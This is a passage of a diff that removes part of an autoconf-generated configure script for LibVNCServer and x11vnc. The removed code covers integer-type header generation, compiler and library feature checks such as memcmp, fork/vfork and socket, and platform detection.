-#ifndef _HAVE_UINT64_T
-#define _HAVE_UINT64_T
-typedef u_int64_t uint64_t;
-#endif
-EOF
-else { $as_echo "$as_me:${as_lineno-$LINENO}: result: ..adding generic uint64_t runtime checks" >&5
-$as_echo "..adding generic uint64_t runtime checks" >&6; }
- cat >>$ac_stdint_h <<EOF
-
-/* -------------------- 64 BIT GENERIC SECTION -------------------- */
-/* here are some common heuristics using compiler runtime specifics */
-#if defined __STDC_VERSION__ && defined __STDC_VERSION__ > 199901L
-
-#ifndef _HAVE_UINT64_T
-#define _HAVE_UINT64_T
-typedef long long int64_t;
-typedef unsigned long long uint64_t;
-#endif
-
-#elif !defined __STRICT_ANSI__
-#if defined _MSC_VER || defined __WATCOMC__ || defined __BORLANDC__
-
-#ifndef _HAVE_UINT64_T
-#define _HAVE_UINT64_T
-typedef __int64 int64_t;
-typedef unsigned __int64 uint64_t;
-#endif
-
-#elif defined __GNUC__ || defined __MWERKS__ || defined __ELF__
-
-#if !defined _NO_LONGLONG
-#ifndef _HAVE_UINT64_T
-#define _HAVE_UINT64_T
-typedef long long int64_t;
-typedef unsigned long long uint64_t;
-#endif
-#endif
-
-#elif defined __alpha || (defined __mips && defined _ABIN32)
-
-#if !defined _NO_LONGLONG
-#ifndef _HAVE_UINT64_T
-#define _HAVE_UINT64_T
-typedef long int64_t;
-typedef unsigned long uint64_t;
-#endif
-#endif
- /* compiler/cpu type ... or just ISO C99 */
-#endif
-#endif
-EOF
-
-# plus a default 64-bit for systems that are likely to be 64-bit ready
- case "$ac_cv_sizeof_x:$ac_cv_sizeof_voidp:$ac_cv_sizeof_long" in
- 1:2:8:8) { $as_echo "$as_me:${as_lineno-$LINENO}: result: ..adding uint64_t default" >&5
-$as_echo "..adding uint64_t default" >&6; }
-cat >>$ac_stdint_h <<EOF
-/* DEFAULT: */
-/* seen normal 64-bit system, CC has sizeof(long and void*) == 8 bytes */
-#ifndef _HAVE_UINT64_T
-#define _HAVE_UINT64_T
-typedef long int64_t;
-typedef unsigned long uint64_t;
-#endif
-EOF
-;;
- 1:2:4:8) { $as_echo "$as_me:${as_lineno-$LINENO}: result: ..adding uint64_t default" >&5
-$as_echo "..adding uint64_t default" >&6; }
-cat >>$ac_stdint_h <<EOF
-/* DEFAULT: */
-/* seen 32-bit system prepared for 64-bit, CC has sizeof(long) == 8 bytes */
-#ifndef _HAVE_UINT64_T
-#define _HAVE_UINT64_T
-typedef long int64_t;
-typedef unsigned long uint64_t;
-#endif
-EOF
-;;
- 1:2:8:4) { $as_echo "$as_me:${as_lineno-$LINENO}: result: ..adding uint64_t default" >&5
-$as_echo "..adding uint64_t default" >&6; }
-cat >>$ac_stdint_h <<EOF
-/* DEFAULT: */
-/* seen 64-bit derived from a 32-bit, CC has sizeof(long) == 4 bytes */
-#ifndef _HAVE_UINT64_T
-#define _HAVE_UINT64_T
-typedef long long int64_t;
-typedef unsigned long long uint64_t;
-#endif
-EOF
-;;
- *)
-cat >>$ac_stdint_h <<EOF
-/* NOTE: */
-/* the configure-checks for the basic types did not make us believe */
-/* that we could add a fallback to a 'long long' typedef to int64_t */
-EOF
- esac
-fi
-
-# ------------- DONE int64_t types START intptr types ------------
-if test "$ac_cv_header_stdint_x" = "no-file" ; then
- cat >>$ac_stdint_h <<EOF
-
-/* -------------------------- INPTR SECTION --------------------------- */
-EOF
- case "$ac_cv_sizeof_x:$ac_cv_sizeof_voidp" in
- 1:2:2)
- a="int16_t" ; cat >>$ac_stdint_h <<EOF
-/* we tested sizeof(void*) to be of 2 chars, hence we declare it 16-bit */
-
-typedef uint16_t uintptr_t;
-typedef int16_t intptr_t;
-EOF
-;;
- 1:2:4)
- a="int32_t" ; cat >>$ac_stdint_h <<EOF
-/* we tested sizeof(void*) to be of 4 chars, hence we declare it 32-bit */
-
-typedef uint32_t uintptr_t;
-typedef int32_t intptr_t;
-EOF
-;;
- 1:2:8)
- a="int64_t" ; cat >>$ac_stdint_h <<EOF
-/* we tested sizeof(void*) to be of 8 chars, hence we declare it 64-bit */
-
-typedef uint64_t uintptr_t;
-typedef int64_t intptr_t;
-EOF
-;;
- *)
- a="long" ; cat >>$ac_stdint_h <<EOF
-/* we tested sizeof(void*) but got no guess, hence we declare it as if long */
-
-typedef unsigned long uintptr_t;
-typedef long intptr_t;
-EOF
-;;
- esac
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: ..adding typedef $a intptr_t" >&5
-$as_echo "..adding typedef $a intptr_t" >&6; }
-fi
-
-# ------------- DONE intptr types START int_least types ------------
-if test "$ac_cv_type_int_least32_t" = "no"; then
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: ..adding generic int_least-types" >&5
-$as_echo "..adding generic int_least-types" >&6; }
- cat >>$ac_stdint_h <<EOF
-
-/* --------------GENERIC INT_LEAST ------------------ */
-
-typedef int8_t int_least8_t;
-typedef int16_t int_least16_t;
-typedef int32_t int_least32_t;
-#ifdef _HAVE_INT64_T
-typedef int64_t int_least64_t;
-#endif
-
-typedef uint8_t uint_least8_t;
-typedef uint16_t uint_least16_t;
-typedef uint32_t uint_least32_t;
-#ifdef _HAVE_INT64_T
-typedef uint64_t uint_least64_t;
-#endif
-EOF
-fi
-
-# ------------- DONE intptr types START int_least types ------------
-if test "$ac_cv_type_int_fast32_t" = "no"; then
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: ..adding generic int_fast-types" >&5
-$as_echo "..adding generic int_fast-types" >&6; }
- cat >>$ac_stdint_h <<EOF
-
-/* --------------GENERIC INT_FAST ------------------ */
-
-typedef int8_t int_fast8_t;
-typedef int32_t int_fast16_t;
-typedef int32_t int_fast32_t;
-#ifdef _HAVE_INT64_T
-typedef int64_t int_fast64_t;
-#endif
-
-typedef uint8_t uint_fast8_t;
-typedef uint32_t uint_fast16_t;
-typedef uint32_t uint_fast32_t;
-#ifdef _HAVE_INT64_T
-typedef uint64_t uint_fast64_t;
-#endif
-EOF
-fi
-
-if test "$ac_cv_header_stdint_x" = "no-file" ; then
- cat >>$ac_stdint_h <<EOF
-
-#ifdef _HAVE_INT64_T
-typedef int64_t intmax_t;
-typedef uint64_t uintmax_t;
-#else
-typedef long int intmax_t;
-typedef unsigned long uintmax_t;
-#endif
-EOF
-fi
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: ... DONE $ac_stdint_h" >&5
-$as_echo "... DONE $ac_stdint_h" >&6; }
- cat >>$ac_stdint_h <<EOF
-
- /* once */
-#endif
-#endif
-EOF
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for in_addr_t" >&5
-$as_echo_n "checking for in_addr_t... " >&6; }
-if ${vnc_cv_inaddrt+:} false; then :
- $as_echo_n "(cached) " >&6
-else
-
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-#include <sys/types.h>
-#include <netinet/in.h>
-int
-main ()
-{
-in_addr_t foo; return 0;
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_compile "$LINENO"; then :
- inaddrt=yes
-else
- inaddrt=no
-fi
-rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext,
-
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $vnc_cv_inaddrt" >&5
-$as_echo "$vnc_cv_inaddrt" >&6; }
-
-if test $inaddrt = no ; then
- $as_echo "#define NEED_INADDR_T 1" >>confdefs.h
-
-fi
-# Checks for library functions.
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for working memcmp" >&5
-$as_echo_n "checking for working memcmp... " >&6; }
-if ${ac_cv_func_memcmp_working+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- if test "$cross_compiling" = yes; then :
- ac_cv_func_memcmp_working=no
-else
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-$ac_includes_default
-int
-main ()
-{
-
- /* Some versions of memcmp are not 8-bit clean. */
- char c0 = '\100', c1 = '\200', c2 = '\201';
- if (memcmp(&c0, &c2, 1) >= 0 || memcmp(&c1, &c2, 1) >= 0)
- return 1;
-
- /* The Next x86 OpenStep bug shows up only when comparing 16 bytes
- or more and with at least one buffer not starting on a 4-byte boundary.
- William Lewis provided this test program. */
- {
- char foo[21];
- char bar[21];
- int i;
- for (i = 0; i < 4; i++)
- {
- char *a = foo + i;
- char *b = bar + i;
- strcpy (a, "--------01111111");
- strcpy (b, "--------10000000");
- if (memcmp (a, b, 16) >= 0)
- return 1;
- }
- return 0;
- }
-
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_run "$LINENO"; then :
- ac_cv_func_memcmp_working=yes
-else
- ac_cv_func_memcmp_working=no
-fi
-rm -f core *.core core.conftest.* gmon.out bb.out conftest$ac_exeext \
- conftest.$ac_objext conftest.beam conftest.$ac_ext
-fi
-
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_func_memcmp_working" >&5
-$as_echo "$ac_cv_func_memcmp_working" >&6; }
-test $ac_cv_func_memcmp_working = no && case " $LIBOBJS " in
- *" memcmp.$ac_objext "* ) ;;
- *) LIBOBJS="$LIBOBJS memcmp.$ac_objext"
- ;;
-esac
-
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking whether lstat correctly handles trailing slash" >&5
-$as_echo_n "checking whether lstat correctly handles trailing slash... " >&6; }
-if ${ac_cv_func_lstat_dereferences_slashed_symlink+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- rm -f conftest.sym conftest.file
-echo >conftest.file
-if test "$as_ln_s" = "ln -s" && ln -s conftest.file conftest.sym; then
- if test "$cross_compiling" = yes; then :
- ac_cv_func_lstat_dereferences_slashed_symlink=no
-else
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-$ac_includes_default
-int
-main ()
-{
-struct stat sbuf;
- /* Linux will dereference the symlink and fail, as required by POSIX.
- That is better in the sense that it means we will not
- have to compile and use the lstat wrapper. */
- return lstat ("conftest.sym/", &sbuf) == 0;
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_run "$LINENO"; then :
- ac_cv_func_lstat_dereferences_slashed_symlink=yes
-else
- ac_cv_func_lstat_dereferences_slashed_symlink=no
-fi
-rm -f core *.core core.conftest.* gmon.out bb.out conftest$ac_exeext \
- conftest.$ac_objext conftest.beam conftest.$ac_ext
-fi
-
-else
- # If the `ln -s' command failed, then we probably don't even
- # have an lstat function.
- ac_cv_func_lstat_dereferences_slashed_symlink=no
-fi
-rm -f conftest.sym conftest.file
-
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_func_lstat_dereferences_slashed_symlink" >&5
-$as_echo "$ac_cv_func_lstat_dereferences_slashed_symlink" >&6; }
-
-test $ac_cv_func_lstat_dereferences_slashed_symlink = yes &&
-
-cat >>confdefs.h <<_ACEOF
-#define LSTAT_FOLLOWS_SLASHED_SYMLINK 1
-_ACEOF
-
-
-if test "x$ac_cv_func_lstat_dereferences_slashed_symlink" = xno; then
- case " $LIBOBJS " in
- *" lstat.$ac_objext "* ) ;;
- *) LIBOBJS="$LIBOBJS lstat.$ac_objext"
- ;;
-esac
-
-fi
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking whether stat accepts an empty string" >&5
-$as_echo_n "checking whether stat accepts an empty string... " >&6; }
-if ${ac_cv_func_stat_empty_string_bug+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- if test "$cross_compiling" = yes; then :
- ac_cv_func_stat_empty_string_bug=yes
-else
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-$ac_includes_default
-int
-main ()
-{
-struct stat sbuf;
- return stat ("", &sbuf) == 0;
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_run "$LINENO"; then :
- ac_cv_func_stat_empty_string_bug=no
-else
- ac_cv_func_stat_empty_string_bug=yes
-fi
-rm -f core *.core core.conftest.* gmon.out bb.out conftest$ac_exeext \
- conftest.$ac_objext conftest.beam conftest.$ac_ext
-fi
-
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_func_stat_empty_string_bug" >&5
-$as_echo "$ac_cv_func_stat_empty_string_bug" >&6; }
-if test $ac_cv_func_stat_empty_string_bug = yes; then
- case " $LIBOBJS " in
- *" stat.$ac_objext "* ) ;;
- *) LIBOBJS="$LIBOBJS stat.$ac_objext"
- ;;
-esac
-
-
-cat >>confdefs.h <<_ACEOF
-#define HAVE_STAT_EMPTY_STRING_BUG 1
-_ACEOF
-
-fi
-
-for ac_func in strftime
-do :
- ac_fn_c_check_func "$LINENO" "strftime" "ac_cv_func_strftime"
-if test "x$ac_cv_func_strftime" = xyes; then :
- cat >>confdefs.h <<_ACEOF
-#define HAVE_STRFTIME 1
-_ACEOF
-
-else
- # strftime is in -lintl on SCO UNIX.
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for strftime in -lintl" >&5
-$as_echo_n "checking for strftime in -lintl... " >&6; }
-if ${ac_cv_lib_intl_strftime+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_check_lib_save_LIBS=$LIBS
-LIBS="-lintl $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char strftime ();
-int
-main ()
-{
-return strftime ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- ac_cv_lib_intl_strftime=yes
-else
- ac_cv_lib_intl_strftime=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_intl_strftime" >&5
-$as_echo "$ac_cv_lib_intl_strftime" >&6; }
-if test "x$ac_cv_lib_intl_strftime" = xyes; then :
- $as_echo "#define HAVE_STRFTIME 1" >>confdefs.h
-
-LIBS="-lintl $LIBS"
-fi
-
-fi
-done
-
-for ac_func in vprintf
-do :
- ac_fn_c_check_func "$LINENO" "vprintf" "ac_cv_func_vprintf"
-if test "x$ac_cv_func_vprintf" = xyes; then :
- cat >>confdefs.h <<_ACEOF
-#define HAVE_VPRINTF 1
-_ACEOF
-
-ac_fn_c_check_func "$LINENO" "_doprnt" "ac_cv_func__doprnt"
-if test "x$ac_cv_func__doprnt" = xyes; then :
-
-$as_echo "#define HAVE_DOPRNT 1" >>confdefs.h
-
-fi
-
-fi
-done
-
-
-ac_fn_c_check_type "$LINENO" "pid_t" "ac_cv_type_pid_t" "$ac_includes_default"
-if test "x$ac_cv_type_pid_t" = xyes; then :
-
-else
-
-cat >>confdefs.h <<_ACEOF
-#define pid_t int
-_ACEOF
-
-fi
-
-for ac_header in vfork.h
-do :
- ac_fn_c_check_header_mongrel "$LINENO" "vfork.h" "ac_cv_header_vfork_h" "$ac_includes_default"
-if test "x$ac_cv_header_vfork_h" = xyes; then :
- cat >>confdefs.h <<_ACEOF
-#define HAVE_VFORK_H 1
-_ACEOF
-
-fi
-
-done
-
-for ac_func in fork vfork
-do :
- as_ac_var=`$as_echo "ac_cv_func_$ac_func" | $as_tr_sh`
-ac_fn_c_check_func "$LINENO" "$ac_func" "$as_ac_var"
-if eval test \"x\$"$as_ac_var"\" = x"yes"; then :
- cat >>confdefs.h <<_ACEOF
-#define `$as_echo "HAVE_$ac_func" | $as_tr_cpp` 1
-_ACEOF
-
-fi
-done
-
-if test "x$ac_cv_func_fork" = xyes; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for working fork" >&5
-$as_echo_n "checking for working fork... " >&6; }
-if ${ac_cv_func_fork_works+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- if test "$cross_compiling" = yes; then :
- ac_cv_func_fork_works=cross
-else
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-$ac_includes_default
-int
-main ()
-{
-
- /* By Ruediger Kuhlmann. */
- return fork () < 0;
-
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_run "$LINENO"; then :
- ac_cv_func_fork_works=yes
-else
- ac_cv_func_fork_works=no
-fi
-rm -f core *.core core.conftest.* gmon.out bb.out conftest$ac_exeext \
- conftest.$ac_objext conftest.beam conftest.$ac_ext
-fi
-
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_func_fork_works" >&5
-$as_echo "$ac_cv_func_fork_works" >&6; }
-
-else
- ac_cv_func_fork_works=$ac_cv_func_fork
-fi
-if test "x$ac_cv_func_fork_works" = xcross; then
- case $host in
- *-*-amigaos* | *-*-msdosdjgpp*)
- # Override, as these systems have only a dummy fork() stub
- ac_cv_func_fork_works=no
- ;;
- *)
- ac_cv_func_fork_works=yes
- ;;
- esac
- { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: result $ac_cv_func_fork_works guessed because of cross compilation" >&5
-$as_echo "$as_me: WARNING: result $ac_cv_func_fork_works guessed because of cross compilation" >&2;}
-fi
-ac_cv_func_vfork_works=$ac_cv_func_vfork
-if test "x$ac_cv_func_vfork" = xyes; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for working vfork" >&5
-$as_echo_n "checking for working vfork... " >&6; }
-if ${ac_cv_func_vfork_works+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- if test "$cross_compiling" = yes; then :
- ac_cv_func_vfork_works=cross
-else
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-/* Thanks to Paul Eggert for this test. */
-$ac_includes_default
-#include <sys/wait.h>
-#ifdef HAVE_VFORK_H
-# include <vfork.h>
-#endif
-/* On some sparc systems, changes by the child to local and incoming
- argument registers are propagated back to the parent. The compiler
- is told about this with #include <vfork.h>, but some compilers
- (e.g. gcc -O) don't grok <vfork.h>. Test for this by using a
- static variable whose address is put into a register that is
- clobbered by the vfork. */
-static void
-#ifdef __cplusplus
-sparc_address_test (int arg)
-# else
-sparc_address_test (arg) int arg;
-#endif
-{
- static pid_t child;
- if (!child) {
- child = vfork ();
- if (child < 0) {
- perror ("vfork");
- _exit(2);
- }
- if (!child) {
- arg = getpid();
- write(-1, "", 0);
- _exit (arg);
- }
- }
-}
-
-int
-main ()
-{
- pid_t parent = getpid ();
- pid_t child;
-
- sparc_address_test (0);
-
- child = vfork ();
-
- if (child == 0) {
- /* Here is another test for sparc vfork register problems. This
- test uses lots of local variables, at least as many local
- variables as main has allocated so far including compiler
- temporaries. 4 locals are enough for gcc 1.40.3 on a Solaris
- 4.1.3 sparc, but we use 8 to be safe. A buggy compiler should
- reuse the register of parent for one of the local variables,
- since it will think that parent can't possibly be used any more
- in this routine. Assigning to the local variable will thus
- munge parent in the parent process. */
- pid_t
- p = getpid(), p1 = getpid(), p2 = getpid(), p3 = getpid(),
- p4 = getpid(), p5 = getpid(), p6 = getpid(), p7 = getpid();
- /* Convince the compiler that p..p7 are live; otherwise, it might
- use the same hardware register for all 8 local variables. */
- if (p != p1 || p != p2 || p != p3 || p != p4
- || p != p5 || p != p6 || p != p7)
- _exit(1);
-
- /* On some systems (e.g. IRIX 3.3), vfork doesn't separate parent
- from child file descriptors. If the child closes a descriptor
- before it execs or exits, this munges the parent's descriptor
- as well. Test for this by closing stdout in the child. */
- _exit(close(fileno(stdout)) != 0);
- } else {
- int status;
- struct stat st;
-
- while (wait(&status) != child)
- ;
- return (
- /* Was there some problem with vforking? */
- child < 0
-
- /* Did the child fail? (This shouldn't happen.) */
- || status
-
- /* Did the vfork/compiler bug occur? */
- || parent != getpid()
-
- /* Did the file descriptor bug occur? */
- || fstat(fileno(stdout), &st) != 0
- );
- }
-}
-_ACEOF
-if ac_fn_c_try_run "$LINENO"; then :
- ac_cv_func_vfork_works=yes
-else
- ac_cv_func_vfork_works=no
-fi
-rm -f core *.core core.conftest.* gmon.out bb.out conftest$ac_exeext \
- conftest.$ac_objext conftest.beam conftest.$ac_ext
-fi
-
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_func_vfork_works" >&5
-$as_echo "$ac_cv_func_vfork_works" >&6; }
-
-fi;
-if test "x$ac_cv_func_fork_works" = xcross; then
- ac_cv_func_vfork_works=$ac_cv_func_vfork
- { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: result $ac_cv_func_vfork_works guessed because of cross compilation" >&5
-$as_echo "$as_me: WARNING: result $ac_cv_func_vfork_works guessed because of cross compilation" >&2;}
-fi
-
-if test "x$ac_cv_func_vfork_works" = xyes; then
-
-$as_echo "#define HAVE_WORKING_VFORK 1" >>confdefs.h
-
-else
-
-$as_echo "#define vfork fork" >>confdefs.h
-
-fi
-if test "x$ac_cv_func_fork_works" = xyes; then
-
-$as_echo "#define HAVE_WORKING_FORK 1" >>confdefs.h
-
-fi
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for gethostbyname in -lnsl" >&5
-$as_echo_n "checking for gethostbyname in -lnsl... " >&6; }
-if ${ac_cv_lib_nsl_gethostbyname+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_check_lib_save_LIBS=$LIBS
-LIBS="-lnsl $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char gethostbyname ();
-int
-main ()
-{
-return gethostbyname ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- ac_cv_lib_nsl_gethostbyname=yes
-else
- ac_cv_lib_nsl_gethostbyname=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_nsl_gethostbyname" >&5
-$as_echo "$ac_cv_lib_nsl_gethostbyname" >&6; }
-if test "x$ac_cv_lib_nsl_gethostbyname" = xyes; then :
- cat >>confdefs.h <<_ACEOF
-#define HAVE_LIBNSL 1
-_ACEOF
-
- LIBS="-lnsl $LIBS"
-
-fi
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for socket in -lsocket" >&5
-$as_echo_n "checking for socket in -lsocket... " >&6; }
-if ${ac_cv_lib_socket_socket+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_check_lib_save_LIBS=$LIBS
-LIBS="-lsocket $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char socket ();
-int
-main ()
-{
-return socket ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- ac_cv_lib_socket_socket=yes
-else
- ac_cv_lib_socket_socket=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_socket_socket" >&5
-$as_echo "$ac_cv_lib_socket_socket" >&6; }
-if test "x$ac_cv_lib_socket_socket" = xyes; then :
- cat >>confdefs.h <<_ACEOF
-#define HAVE_LIBSOCKET 1
-_ACEOF
-
- LIBS="-lsocket $LIBS"
-
-fi
-
-
-uname_s=`(uname -s) 2>/dev/null`
-if test "x$uname_s" = "xHP-UX"; then
- # need -lsec for getspnam()
- LDFLAGS="$LDFLAGS -lsec"
-fi
-
-for ac_func in ftime gethostbyname gethostname gettimeofday inet_ntoa memmove memset mmap mkfifo select socket strchr strcspn strdup strerror strstr
-do :
- as_ac_var=`$as_echo "ac_cv_func_$ac_func" | $as_tr_sh`
-ac_fn_c_check_func "$LINENO" "$ac_func" "$as_ac_var"
-if eval test \"x\$"$as_ac_var"\" = x"yes"; then :
- cat >>confdefs.h <<_ACEOF
-#define `$as_echo "HAVE_$ac_func" | $as_tr_cpp` 1
-_ACEOF
-
-fi
-done
-
-# x11vnc only:
-if test "$build_x11vnc" = "yes"; then
- for ac_func in setsid setpgrp getpwuid getpwnam getspnam getuid geteuid setuid setgid seteuid setegid initgroups waitpid setutxent grantpt shmat
-do :
- as_ac_var=`$as_echo "ac_cv_func_$ac_func" | $as_tr_sh`
-ac_fn_c_check_func "$LINENO" "$ac_func" "$as_ac_var"
-if eval test \"x\$"$as_ac_var"\" = x"yes"; then :
- cat >>confdefs.h <<_ACEOF
-#define `$as_echo "HAVE_$ac_func" | $as_tr_cpp` 1
-_ACEOF
-
-fi
-done
-
-fi
-
-# check, if shmget is in cygipc.a
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for shmget in -lcygipc" >&5
-$as_echo_n "checking for shmget in -lcygipc... " >&6; }
-if ${ac_cv_lib_cygipc_shmget+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_check_lib_save_LIBS=$LIBS
-LIBS="-lcygipc $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char shmget ();
-int
-main ()
-{
-return shmget ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- ac_cv_lib_cygipc_shmget=yes
-else
- ac_cv_lib_cygipc_shmget=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_cygipc_shmget" >&5
-$as_echo "$ac_cv_lib_cygipc_shmget" >&6; }
-if test "x$ac_cv_lib_cygipc_shmget" = xyes; then :
- cat >>confdefs.h <<_ACEOF
-#define HAVE_LIBCYGIPC 1
-_ACEOF
-
- LIBS="-lcygipc $LIBS"
-
-fi
-
- if test "$HAVE_CYGIPC" = "true"; then
- CYGIPC_TRUE=
- CYGIPC_FALSE='#'
-else
- CYGIPC_TRUE='#'
- CYGIPC_FALSE=
-fi
-
-
-# Check if /usr/include/linux exists, if so, define LINUX
- if test -d /usr/include/linux; then
- LINUX_TRUE=
- LINUX_FALSE='#'
-else
- LINUX_TRUE='#'
- LINUX_FALSE=
-fi
-
-
-# Check for OS X specific header
-ac_fn_c_check_header_mongrel "$LINENO" "ApplicationServices/ApplicationServices.h" "ac_cv_header_ApplicationServices_ApplicationServices_h" "$ac_includes_default"
-if test "x$ac_cv_header_ApplicationServices_ApplicationServices_h" = xyes; then :
- HAVE_OSX="true"
-fi
-
-
- if test "$HAVE_OSX" = "true"; then
- OSX_TRUE=
- OSX_FALSE='#'
-else
- OSX_TRUE='#'
- OSX_FALSE=
-fi
-
-
-# Check for Android specific header
-ac_fn_c_check_header_mongrel "$LINENO" "android/api-level.h" "ac_cv_header_android_api_level_h" "$ac_includes_default"
-if test "x$ac_cv_header_android_api_level_h" = xyes; then :
- HAVE_ANDROID="true"
-fi
-
-
- if test "$HAVE_ANDROID" = "true"; then
- ANDROID_TRUE=
- ANDROID_FALSE='#'
-else
- ANDROID_TRUE='#'
- ANDROID_FALSE=
-fi
-
-if test "$HAVE_ANDROID" = "true"; then
-
-$as_echo "#define HAVE_ANDROID 1" >>confdefs.h
-
-fi
-
-# On Solaris 2.7, write() returns ENOENT when it really means EAGAIN
-
-case `(uname -sr) 2>/dev/null` in
- "SunOS 5.7")
- $as_echo "#define ENOENT_WORKAROUND 1" >>confdefs.h
-
- ;;
-esac
-
-# Check for rpm SOURCES path
-printf "checking for rpm sources path... "
-RPMSOURCEDIR="NOT-FOUND"
-for directory in packages OpenLinux redhat RedHat rpm RPM "" ; do
- if test -d /usr/src/${directory}/SOURCES; then
- RPMSOURCEDIR="/usr/src/${directory}/SOURCES/"
- fi
-done
-echo "$RPMSOURCEDIR"
- if test "$RPMSOURCEDIR" != "NOT-FOUND"; then
- HAVE_RPM_TRUE=
- HAVE_RPM_FALSE='#'
-else
- HAVE_RPM_TRUE='#'
- HAVE_RPM_FALSE=
-fi
-
- if test "$build_x11vnc" = "yes"; then
- WITH_X11VNC_TRUE=
- WITH_X11VNC_FALSE='#'
-else
- WITH_X11VNC_TRUE='#'
- WITH_X11VNC_FALSE=
-fi
-
-
-
-ac_config_files="$ac_config_files Makefile libvncserver.pc libvncclient.pc libvncserver/Makefile examples/Makefile examples/android/Makefile vncterm/Makefile webclients/Makefile webclients/java-applet/Makefile webclients/java-applet/ssl/Makefile libvncclient/Makefile client_examples/Makefile test/Makefile libvncserver-config LibVNCServer.spec"
-
-#
-# x11vnc only:
-#
-if test "$build_x11vnc" = "yes"; then
- #
- # NOTE: if you are using the LibVNCServer-X.Y.Z.tar.gz source
- # tarball and nevertheless want to run autoconf (i.e. aclocal,
- # autoheader, automake, autoconf) AGAIN (perhaps you have a
- # special target system, e.g. embedded) then you will need to
- # comment out the following 'AC_CONFIG_FILES' line to avoid
- # automake error messages like:
- #
- # configure.ac:690: required file `x11vnc/Makefile.in' not found
- #
- ac_config_files="$ac_config_files x11vnc/Makefile x11vnc/misc/Makefile x11vnc/misc/turbovnc/Makefile"
-
-
- if test ! -z "$with_system_libvncserver" -a "x$with_system_libvncserver" != "xno"; then
- # need to move local tarball rfb headers aside:
- hdrs="rfb.h rfbclient.h rfbproto.h rfbregion.h rfbint.h"
